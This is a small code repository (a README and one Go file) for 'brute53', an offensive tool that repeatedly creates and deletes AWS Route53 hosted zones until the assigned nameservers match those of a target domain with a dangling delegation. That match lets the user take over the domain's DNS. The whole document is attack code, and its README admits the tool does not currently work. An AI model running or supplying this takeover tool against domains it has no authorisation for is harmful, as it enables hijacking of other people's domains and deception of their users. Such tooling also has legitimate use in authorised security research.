├── README.md └── brute53.go /README.md: -------------------------------------------------------------------------------- 1 | # brute53 2 | 3 | 4 | A tool to bruteforce nameservers when working with subdomain delegations to AWS. Based off Frans Rosén's talk ["DNS hijacking using cloud providers - no verification needed"](https://youtu.be/FXCzdWm2qDg?t=1132) 5 | 6 | ⚠️ Note: this tool is currently not working and is on the list to be fixed at somepoint 7 | 8 | 9 | ### Pre-requisites: 10 | - golang 11 | - AWS IAM User with access to [Route53](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html) 12 | 13 | ### Installation: 14 | 15 | ``` 16 | go get -u github.com/lc/brute53 17 | ``` 18 | 19 | ### Usage: 20 | ``` 21 | root@doggos:~# brute53 -c ~/.aws/credentials -delay 2 -t vulnerable.example.com 22 | ``` 23 | 24 | 25 | Buy Me A Coffee 26 | 27 | -------------------------------------------------------------------------------- /brute53.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "math/rand" 8 | "net" 9 | "os" 10 | "regexp" 11 | "strings" 12 | "time" 13 | 14 | "github.com/aws/aws-sdk-go/aws" 15 | "github.com/aws/aws-sdk-go/aws/credentials" 16 | "github.com/aws/aws-sdk-go/aws/session" 17 | "github.com/aws/aws-sdk-go/service/route53" 18 | ) 19 | 20 | var ( 21 | TargetDomain = flag.String("t", "", "target domain") 22 | Delay = flag.Int("delay", 2, "delay between requests") 23 | Credentials = flag.String("c", "/root/.aws/credentials", "file containing aws creds.") 24 | ) 25 | 26 | func init() { 27 | rand.Seed(time.Now().UnixNano()) 28 | } 29 | 30 | func caller(n int) *string { 31 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 32 | 33 | b := make([]rune, n) 34 | for i := range b { 35 | b[i] = letters[rand.Intn(len(letters))] 36 | } 37 | s := string(b) 38 | return &s 39 | } 40 | func main() { 41 | flag.Parse() 42 | if *TargetDomain == "" { 43 | flag.Usage() 44 | os.Exit(1) 45 | } 46 | for { 47 | var nameservers []string 48 | var createdNameServers []string 49 | idRegex := regexp.MustCompile(`(?:.*?\/){2}`) 50 | nameserver, _ := net.LookupNS(*TargetDomain) 51 | for _, ns := range nameserver { 52 | f := len(ns.Host) 53 | nameservers = append(nameservers, ns.Host[:f-1]) 54 | } 55 | creds := credentials.NewSharedCredentials(*Credentials, "default") 56 | conf := aws.Config{Region: aws.String("us-east-1"), Credentials: creds} 57 | sess := session.New(&conf) 58 | svc := route53.New(sess) 59 | req := &route53.CreateHostedZoneInput{ 60 | CallerReference: caller(10), 61 | Name: TargetDomain, 62 | } 63 | resp, err := svc.CreateHostedZone(req) 64 | if err != nil { 65 | log.Fatalf("Error: %v", err) 66 | } 67 | createdZoneID := idRegex.ReplaceAllString(*resp.HostedZone.Id, "") 68 | fmt.Println("[>] Created Hosted Zone ->", createdZoneID) 69 | for _, ns := range resp.DelegationSet.NameServers { 70 | createdNameServers = append(createdNameServers, *ns) 71 | } 72 | fmt.Println("\t-> Comparing NameServers") 73 | for _, tg := range nameservers { 74 | for _, created := range createdNameServers { 75 | if (strings.Compare(tg, created)) == 0 { 76 | fmt.Printf("[>] SUCCESS: Valid takeover: %s\n", createdZoneID) 77 | fmt.Printf("[>] Nameserver: %s", tg) 78 | os.Exit(0) 79 | } 80 | } 81 | } 82 | DeleteZone(createdZoneID) 83 | // avoid getting throttled 84 | // by AWS's API 85 | time.Sleep(time.Duration(*Delay) * time.Second) 86 | } 87 | } 88 | func DeleteZone(id string) { 89 | creds := credentials.NewSharedCredentials(*Credentials, "default") 90 | conf := aws.Config{Region: aws.String("us-east-1"), Credentials: creds} 91 | sess := session.New(&conf) 92 | svc := route53.New(sess) 93 | req := &route53.DeleteHostedZoneInput{} 94 | req.SetId(id) 95 | _, err := svc.DeleteHostedZone(req) 96 | if err != nil { 97 | log.Fatalf("Error: %v", err) 98 | } 99 | fmt.Printf("\t-> Deleted Hosted Zone -> %s\n", id) 100 | } 101 | --------------------------------------------------------------------------------